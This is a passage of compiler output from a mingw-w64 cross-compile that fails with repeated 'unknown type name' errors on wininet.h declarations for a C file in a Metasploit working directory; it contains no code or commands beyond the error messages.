INTERNETAPI_(GROUPID) CreateUrlCacheGroup(DWORD dwFlags,LPVOID lpReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1438:3: error: expected ‘;’ before ‘GROUPID’ - 1438 | INTERNETAPI_(GROUPID) CreateUrlCacheGroup(DWORD dwFlags,LPVOID lpReserved); - | ^~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:1438:25: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘CreateUrlCacheGroup’ - 1438 | INTERNETAPI_(GROUPID) CreateUrlCacheGroup(DWORD dwFlags,LPVOID lpReserved); - | ^~~~~~~~~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:1439:3: error: unknown type name ‘EXTERN_C’ - 1439 | BOOLAPI DeleteUrlCacheGroup(GROUPID GroupId,DWORD dwFlags,LPVOID lpReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1439:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1439 | BOOLAPI DeleteUrlCacheGroup(GROUPID GroupId,DWORD dwFlags,LPVOID lpReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1439:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1440:3: error: unknown type name ‘EXTERN_C’ - 1440 | BOOLAPI GetUrlCacheEntryInfoExA(LPCSTR lpszUrl,LPINTERNET_CACHE_ENTRY_INFOA lpCacheEntryInfo,LPDWORD lpcbCacheEntryInfo,LPSTR lpszRedirectUrl,LPDWORD lpcbRedirectUrl,LPVOID lpReserved,DWORD dwFlags); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1440:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1440 | BOOLAPI GetUrlCacheEntryInfoExA(LPCSTR lpszUrl,LPINTERNET_CACHE_ENTRY_INFOA lpCacheEntryInfo,LPDWORD lpcbCacheEntryInfo,LPSTR lpszRedirectUrl,LPDWORD lpcbRedirectUrl,LPVOID lpReserved,DWORD dwFlags); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1440:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1441:3: error: unknown type name ‘EXTERN_C’ - 1441 | BOOLAPI GetUrlCacheEntryInfoExW(LPCWSTR lpszUrl,LPINTERNET_CACHE_ENTRY_INFOW lpCacheEntryInfo,LPDWORD lpcbCacheEntryInfo,LPWSTR lpszRedirectUrl,LPDWORD lpcbRedirectUrl,LPVOID lpReserved,DWORD dwFlags); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1441:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1441 | BOOLAPI GetUrlCacheEntryInfoExW(LPCWSTR lpszUrl,LPINTERNET_CACHE_ENTRY_INFOW lpCacheEntryInfo,LPDWORD lpcbCacheEntryInfo,LPWSTR lpszRedirectUrl,LPDWORD lpcbRedirectUrl,LPVOID lpReserved,DWORD dwFlags); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1441:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1464:3: error: unknown type name ‘EXTERN_C’ - 1464 | BOOLAPI SetUrlCacheEntryGroup(LPCSTR lpszUrlName,DWORD dwFlags,GROUPID GroupId,LPBYTE pbGroupAttributes,DWORD cbGroupAttributes,LPVOID lpReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1464:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1464 | BOOLAPI SetUrlCacheEntryGroup(LPCSTR lpszUrlName,DWORD dwFlags,GROUPID GroupId,LPBYTE pbGroupAttributes,DWORD cbGroupAttributes,LPVOID lpReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1464:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1465:3: error: unknown type name ‘EXTERN_C’ - 1465 | BOOLAPI DeleteUrlCacheEntry(LPCSTR lpszUrlName); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1465:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1465 | BOOLAPI DeleteUrlCacheEntry(LPCSTR lpszUrlName); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1465:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1466:3: error: unknown type name ‘EXTERN_C’ - 1466 | INTERNETAPI_(DWORD) InternetDial(HWND hwndParent,LPSTR lpszConnectoid,DWORD dwFlags,LPDWORD lpdwConnection,DWORD dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1466:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘DWORD’ - 1466 | INTERNETAPI_(DWORD) InternetDial(HWND hwndParent,LPSTR lpszConnectoid,DWORD dwFlags,LPDWORD lpdwConnection,DWORD dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1466:3: error: unknown type name ‘DWORD’ -/usr/share/mingw-w64/include/wininet.h:1467:3: error: unknown type name ‘EXTERN_C’ - 1467 | INTERNETAPI_(WINBOOL) InternetGoOnline(LPSTR lpszURL,HWND hwndParent,DWORD dwFlags); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1467:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1467 | INTERNETAPI_(WINBOOL) InternetGoOnline(LPSTR lpszURL,HWND hwndParent,DWORD dwFlags); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1467:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1470:3: error: unknown type name ‘EXTERN_C’ - 1470 | BOOLAPI SetUrlCacheEntryInfoA(LPCSTR lpszUrlName,LPINTERNET_CACHE_ENTRY_INFOA lpCacheEntryInfo,DWORD dwFieldControl); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1470:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1470 | BOOLAPI SetUrlCacheEntryInfoA(LPCSTR lpszUrlName,LPINTERNET_CACHE_ENTRY_INFOA lpCacheEntryInfo,DWORD dwFieldControl); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1470:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1471:3: error: unknown type name ‘EXTERN_C’ - 1471 | BOOLAPI SetUrlCacheEntryInfoW(LPCWSTR lpszUrlName,LPINTERNET_CACHE_ENTRY_INFOW lpCacheEntryInfo,DWORD dwFieldControl); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1471:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1471 | BOOLAPI SetUrlCacheEntryInfoW(LPCWSTR lpszUrlName,LPINTERNET_CACHE_ENTRY_INFOW lpCacheEntryInfo,DWORD dwFieldControl); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1471:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1472:3: error: unknown type name ‘EXTERN_C’ - 1472 | INTERNETAPI_(GROUPID) CreateUrlCacheGroup(DWORD dwFlags,LPVOID lpReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1472:3: error: expected ‘;’ before ‘GROUPID’ - 1472 | INTERNETAPI_(GROUPID) CreateUrlCacheGroup(DWORD dwFlags,LPVOID lpReserved); - | ^~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:1472:25: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘CreateUrlCacheGroup’ - 1472 | INTERNETAPI_(GROUPID) CreateUrlCacheGroup(DWORD dwFlags,LPVOID lpReserved); - | ^~~~~~~~~~~~~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:1473:3: error: unknown type name ‘EXTERN_C’ - 1473 | BOOLAPI DeleteUrlCacheGroup(GROUPID GroupId,DWORD dwFlags,LPVOID lpReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1473:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1473 | BOOLAPI DeleteUrlCacheGroup(GROUPID GroupId,DWORD dwFlags,LPVOID lpReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1473:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1478:3: error: unknown type name ‘EXTERN_C’ - 1478 | BOOLAPI SetUrlCacheEntryGroupA(LPCSTR lpszUrlName,DWORD dwFlags,GROUPID GroupId,LPBYTE pbGroupAttributes,DWORD cbGroupAttributes,LPVOID lpReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1478:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1478 | BOOLAPI SetUrlCacheEntryGroupA(LPCSTR lpszUrlName,DWORD dwFlags,GROUPID GroupId,LPBYTE pbGroupAttributes,DWORD cbGroupAttributes,LPVOID lpReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1478:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1479:3: error: unknown type name ‘EXTERN_C’ - 1479 | BOOLAPI SetUrlCacheEntryGroupW(LPCWSTR lpszUrlName,DWORD dwFlags,GROUPID GroupId,LPBYTE pbGroupAttributes,DWORD cbGroupAttributes,LPVOID lpReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1479:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1479 | BOOLAPI SetUrlCacheEntryGroupW(LPCWSTR lpszUrlName,DWORD dwFlags,GROUPID GroupId,LPBYTE pbGroupAttributes,DWORD cbGroupAttributes,LPVOID lpReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1479:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1480:3: error: unknown type name ‘EXTERN_C’ - 1480 | INTERNETAPI_(HANDLE) FindFirstUrlCacheEntryExA(LPCSTR lpszUrlSearchPattern,DWORD dwFlags,DWORD dwFilter,GROUPID GroupId,LPINTERNET_CACHE_ENTRY_INFOA lpFirstCacheEntryInfo,LPDWORD lpcbEntryInfo,LPVOID lpGroupAttributes,LPDWORD lpcbGroupAttributes,LPVOID lpReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1480:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘HANDLE’ - 1480 | INTERNETAPI_(HANDLE) FindFirstUrlCacheEntryExA(LPCSTR lpszUrlSearchPattern,DWORD dwFlags,DWORD dwFilter,GROUPID GroupId,LPINTERNET_CACHE_ENTRY_INFOA lpFirstCacheEntryInfo,LPDWORD lpcbEntryInfo,LPVOID lpGroupAttributes,LPDWORD lpcbGroupAttributes,LPVOID lpReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1480:3: error: unknown type name ‘HANDLE’ -/usr/share/mingw-w64/include/wininet.h:1481:3: error: unknown type name ‘EXTERN_C’ - 1481 | INTERNETAPI_(HANDLE) FindFirstUrlCacheEntryExW(LPCWSTR lpszUrlSearchPattern,DWORD dwFlags,DWORD dwFilter,GROUPID GroupId,LPINTERNET_CACHE_ENTRY_INFOW lpFirstCacheEntryInfo,LPDWORD lpcbEntryInfo,LPVOID lpGroupAttributes,LPDWORD lpcbGroupAttributes,LPVOID lpReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1481:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘HANDLE’ - 1481 | INTERNETAPI_(HANDLE) FindFirstUrlCacheEntryExW(LPCWSTR lpszUrlSearchPattern,DWORD dwFlags,DWORD dwFilter,GROUPID GroupId,LPINTERNET_CACHE_ENTRY_INFOW lpFirstCacheEntryInfo,LPDWORD lpcbEntryInfo,LPVOID lpGroupAttributes,LPDWORD lpcbGroupAttributes,LPVOID lpReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1481:3: error: unknown type name ‘HANDLE’ -/usr/share/mingw-w64/include/wininet.h:1482:3: error: unknown type name ‘EXTERN_C’ - 1482 | BOOLAPI FindNextUrlCacheEntryExA(HANDLE hEnumHandle,LPINTERNET_CACHE_ENTRY_INFOA lpNextCacheEntryInfo,LPDWORD lpcbEntryInfo,LPVOID lpGroupAttributes,LPDWORD lpcbGroupAttributes,LPVOID lpReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1482:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1482 | BOOLAPI FindNextUrlCacheEntryExA(HANDLE hEnumHandle,LPINTERNET_CACHE_ENTRY_INFOA lpNextCacheEntryInfo,LPDWORD lpcbEntryInfo,LPVOID lpGroupAttributes,LPDWORD lpcbGroupAttributes,LPVOID lpReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1482:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1483:3: error: unknown type name ‘EXTERN_C’ - 1483 | BOOLAPI FindNextUrlCacheEntryExW(HANDLE hEnumHandle,LPINTERNET_CACHE_ENTRY_INFOW lpNextCacheEntryInfo,LPDWORD lpcbEntryInfo,LPVOID lpGroupAttributes,LPDWORD lpcbGroupAttributes,LPVOID lpReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1483:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1483 | BOOLAPI FindNextUrlCacheEntryExW(HANDLE hEnumHandle,LPINTERNET_CACHE_ENTRY_INFOW lpNextCacheEntryInfo,LPDWORD lpcbEntryInfo,LPVOID lpGroupAttributes,LPDWORD lpcbGroupAttributes,LPVOID lpReserved); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1483:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1484:3: error: unknown type name ‘EXTERN_C’ - 1484 | INTERNETAPI_(HANDLE) FindFirstUrlCacheEntryA(LPCSTR lpszUrlSearchPattern,LPINTERNET_CACHE_ENTRY_INFOA lpFirstCacheEntryInfo,LPDWORD lpcbCacheEntryInfo); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1484:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘HANDLE’ - 1484 | INTERNETAPI_(HANDLE) FindFirstUrlCacheEntryA(LPCSTR lpszUrlSearchPattern,LPINTERNET_CACHE_ENTRY_INFOA lpFirstCacheEntryInfo,LPDWORD lpcbCacheEntryInfo); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1484:3: error: unknown type name ‘HANDLE’ -/usr/share/mingw-w64/include/wininet.h:1485:3: error: unknown type name ‘EXTERN_C’ - 1485 | INTERNETAPI_(HANDLE) FindFirstUrlCacheEntryW(LPCWSTR lpszUrlSearchPattern,LPINTERNET_CACHE_ENTRY_INFOW lpFirstCacheEntryInfo,LPDWORD lpcbCacheEntryInfo); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1485:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘HANDLE’ - 1485 | INTERNETAPI_(HANDLE) FindFirstUrlCacheEntryW(LPCWSTR lpszUrlSearchPattern,LPINTERNET_CACHE_ENTRY_INFOW lpFirstCacheEntryInfo,LPDWORD lpcbCacheEntryInfo); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1485:3: error: unknown type name ‘HANDLE’ -/usr/share/mingw-w64/include/wininet.h:1486:3: error: unknown type name ‘EXTERN_C’ - 1486 | BOOLAPI FindNextUrlCacheEntryA(HANDLE hEnumHandle,LPINTERNET_CACHE_ENTRY_INFOA lpNextCacheEntryInfo,LPDWORD lpcbCacheEntryInfo); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1486:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1486 | BOOLAPI FindNextUrlCacheEntryA(HANDLE hEnumHandle,LPINTERNET_CACHE_ENTRY_INFOA lpNextCacheEntryInfo,LPDWORD lpcbCacheEntryInfo); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1486:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1487:3: error: unknown type name ‘EXTERN_C’ - 1487 | BOOLAPI FindNextUrlCacheEntryW(HANDLE hEnumHandle,LPINTERNET_CACHE_ENTRY_INFOW lpNextCacheEntryInfo,LPDWORD lpcbCacheEntryInfo); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1487:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1487 | BOOLAPI FindNextUrlCacheEntryW(HANDLE hEnumHandle,LPINTERNET_CACHE_ENTRY_INFOW lpNextCacheEntryInfo,LPDWORD lpcbCacheEntryInfo); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1487:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1488:3: error: unknown type name ‘EXTERN_C’ - 1488 | BOOLAPI FindCloseUrlCache(HANDLE hEnumHandle); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1488:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1488 | BOOLAPI FindCloseUrlCache(HANDLE hEnumHandle); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1488:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1489:3: error: unknown type name ‘EXTERN_C’ - 1489 | BOOLAPI DeleteUrlCacheEntryA(LPCSTR lpszUrlName); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1489:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1489 | BOOLAPI DeleteUrlCacheEntryA(LPCSTR lpszUrlName); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1489:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1490:3: error: unknown type name ‘EXTERN_C’ - 1490 | BOOLAPI DeleteUrlCacheEntryW(LPCWSTR lpszUrlName); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1490:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1490 | BOOLAPI DeleteUrlCacheEntryW(LPCWSTR lpszUrlName); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1490:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1491:3: error: unknown type name ‘EXTERN_C’ - 1491 | INTERNETAPI_(DWORD) InternetDialA(HWND hwndParent,LPSTR lpszConnectoid,DWORD dwFlags,DWORD_PTR *lpdwConnection,DWORD dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1491:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘DWORD’ - 1491 | INTERNETAPI_(DWORD) InternetDialA(HWND hwndParent,LPSTR lpszConnectoid,DWORD dwFlags,DWORD_PTR *lpdwConnection,DWORD dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1491:3: error: unknown type name ‘DWORD’ -/usr/share/mingw-w64/include/wininet.h:1492:3: error: unknown type name ‘EXTERN_C’ - 1492 | INTERNETAPI_(DWORD) InternetDialW(HWND hwndParent,LPWSTR lpszConnectoid,DWORD dwFlags,DWORD_PTR *lpdwConnection,DWORD dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1492:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘DWORD’ - 1492 | INTERNETAPI_(DWORD) InternetDialW(HWND hwndParent,LPWSTR lpszConnectoid,DWORD dwFlags,DWORD_PTR *lpdwConnection,DWORD dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1492:3: error: unknown type name ‘DWORD’ -/usr/share/mingw-w64/include/wininet.h:1498:3: error: unknown type name ‘EXTERN_C’ - 1498 | INTERNETAPI_(DWORD) InternetHangUp(DWORD_PTR dwConnection,DWORD dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1498:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘DWORD’ - 1498 | INTERNETAPI_(DWORD) InternetHangUp(DWORD_PTR dwConnection,DWORD dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1498:3: error: unknown type name ‘DWORD’ -/usr/share/mingw-w64/include/wininet.h:1503:3: error: unknown type name ‘EXTERN_C’ - 1503 | INTERNETAPI_(WINBOOL) InternetGoOnlineA(LPSTR lpszURL,HWND hwndParent,DWORD dwFlags); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1503:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1503 | INTERNETAPI_(WINBOOL) InternetGoOnlineA(LPSTR lpszURL,HWND hwndParent,DWORD dwFlags); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1503:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1504:3: error: unknown type name ‘EXTERN_C’ - 1504 | INTERNETAPI_(WINBOOL) InternetGoOnlineW(LPWSTR lpszURL,HWND hwndParent,DWORD dwFlags); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1504:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1504 | INTERNETAPI_(WINBOOL) InternetGoOnlineW(LPWSTR lpszURL,HWND hwndParent,DWORD dwFlags); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1504:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1506:3: error: unknown type name ‘EXTERN_C’ - 1506 | INTERNETAPI_(WINBOOL) InternetAutodial(DWORD dwFlags,HWND hwndParent); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1506:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1506 | INTERNETAPI_(WINBOOL) InternetAutodial(DWORD dwFlags,HWND hwndParent); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1506:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1515:3: error: unknown type name ‘EXTERN_C’ - 1515 | INTERNETAPI_(WINBOOL) InternetAutodialHangup(DWORD dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1515:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1515 | INTERNETAPI_(WINBOOL) InternetAutodialHangup(DWORD dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1515:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1516:3: error: unknown type name ‘EXTERN_C’ - 1516 | INTERNETAPI_(WINBOOL) InternetGetConnectedState(LPDWORD lpdwFlags,DWORD dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1516:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1516 | INTERNETAPI_(WINBOOL) InternetGetConnectedState(LPDWORD lpdwFlags,DWORD dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1516:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1517:3: error: unknown type name ‘EXTERN_C’ - 1517 | INTERNETAPI_(WINBOOL) InternetGetConnectedStateExA(LPDWORD lpdwFlags,LPSTR lpszConnectionName,DWORD dwBufLen,DWORD dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1517:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1517 | INTERNETAPI_(WINBOOL) InternetGetConnectedStateExA(LPDWORD lpdwFlags,LPSTR lpszConnectionName,DWORD dwBufLen,DWORD dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1517:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1518:3: error: unknown type name ‘EXTERN_C’ - 1518 | INTERNETAPI_(WINBOOL) InternetGetConnectedStateExW(LPDWORD lpdwFlags,LPWSTR lpszConnectionName,DWORD dwBufLen,DWORD dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1518:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1518 | INTERNETAPI_(WINBOOL) InternetGetConnectedStateExW(LPDWORD lpdwFlags,LPWSTR lpszConnectionName,DWORD dwBufLen,DWORD dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1518:3: error: unknown type name ‘WINBOOL’ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:1526:5: error: expected specifier-qualifier-list before ‘WINBOOL’ - 1526 | WINBOOL (WINAPI *IsResolvable)(LPSTR lpszHost); - | ^~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1533:5: error: unknown type name ‘DWORD’ - 1533 | DWORD dwStructSize; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1534:5: error: unknown type name ‘LPSTR’ - 1534 | LPSTR lpszScriptBuffer; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1535:5: error: unknown type name ‘DWORD’ - 1535 | DWORD dwScriptBufferSize; - | ^~~~~ -/usr/share/mingw-w64/include/wininet.h:1542:20: error: unknown type name ‘CALLBACK’ - 1542 | typedef WINBOOL (CALLBACK *pfnInternetInitializeAutoProxyDll)(DWORD dwVersion,LPSTR lpszDownloadedTempFile,LPSTR lpszMime,AutoProxyHelperFunctions *lpAutoProxyCallbacks,LPAUTO_PROXY_SCRIPT_BUFFER lpAutoProxyScriptBuffer); - | ^~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1543:20: error: unknown type name ‘CALLBACK’ - 1543 | typedef WINBOOL (CALLBACK *pfnInternetDeInitializeAutoProxyDll)(LPSTR lpszMime,DWORD dwReserved); - | ^~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1544:20: error: unknown type name ‘CALLBACK’ - 1544 | typedef WINBOOL (CALLBACK *pfnInternetGetProxyInfo)(LPCSTR lpszUrl,DWORD dwUrlLength,LPSTR lpszUrlHostName,DWORD dwUrlHostNameLength,LPSTR *lplpszProxyHostName,LPDWORD lpdwProxyHostNameLength); - | ^~~~~~~~ -In file included from /home/araout/.msf4/local/QwByG.c:4: -/usr/share/mingw-w64/include/wininet.h:1549:3: error: unknown type name ‘EXTERN_C’ - 1549 | INTERNETAPI_(WINBOOL) InternetGetConnectedStateEx(LPDWORD lpdwFlags,LPSTR lpszConnectionName,DWORD dwNameLen,DWORD dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1549:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1549 | INTERNETAPI_(WINBOOL) InternetGetConnectedStateEx(LPDWORD lpdwFlags,LPSTR lpszConnectionName,DWORD dwNameLen,DWORD dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1549:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1552:3: error: unknown type name ‘EXTERN_C’ - 1552 | INTERNETAPI_(WINBOOL) InternetInitializeAutoProxyDll(DWORD dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1552:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ - 1552 | INTERNETAPI_(WINBOOL) InternetInitializeAutoProxyDll(DWORD dwReserved); - | ^~~~~~~~~~~~ -/usr/share/mingw-w64/include/wininet.h:1552:3: error: unknown type name ‘WINBOOL’ -/usr/share/mingw-w64/include/wininet.h:1553:3: error: unknown type name ‘EXTERN_C’ - 1553 | INTERNETAPI_(WINBOOL) InternetDeInitializeAutoProxyDll(LPSTR lpszMime,DWORD dwReserved); - | 